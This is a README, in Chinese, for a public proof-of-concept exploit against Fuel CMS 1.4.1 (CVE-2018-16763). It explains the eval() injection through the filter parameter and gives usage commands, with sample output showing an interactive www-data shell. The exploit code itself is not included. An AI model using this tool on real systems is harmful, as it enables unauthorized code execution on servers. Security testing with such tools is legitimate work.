CVE-2018-16763 — Fuel CMS 1.4.1 远程代码执行（PoC）

Fuel CMS 1.4.1 中未经身份验证的 RCE 漏洞。在 /fuel/pages/select/ 端点的 filter 参数未经清理就传递给了 PHP 后端的 eval() 调用，允许通过精心构造的载荷执行任意代码。与盲注入不同，输出 会直接反映 在 HTTP 响应中，因此无需中间文件。

工作原理

1. 向 /fuel/pages/select/ 发送一个携带特制 filter 载荷的 GET 请求，该载荷调用 PHP 的 system() 执行所需命令。
2. 使用正则表达式模式从 HTTP 响应中解析出反射输出的内容。
3. 将命令输出直接返回给交互式 shell。

环境要求

• Python 3
• 安装依赖项：

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

使用方法

python3 exploit.py -t http://TARGET

示例：

$ python3 exploit.py -t http://10.10.10.10
[*] 测试命令执行...
[+] 目标存在漏洞！输出: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell 已打开。输入 'exit' 或按 Ctrl+C 退出。
Shell> whoami
www-data
Shell> hostname
fuel-cms
Shell> exit

参考

• CVE-2018-16763
• EDB-47138

致谢

• 发现与最初利用: Syed Sheeraz Ali
• 清理与交互式 Shell: Esteban Zárate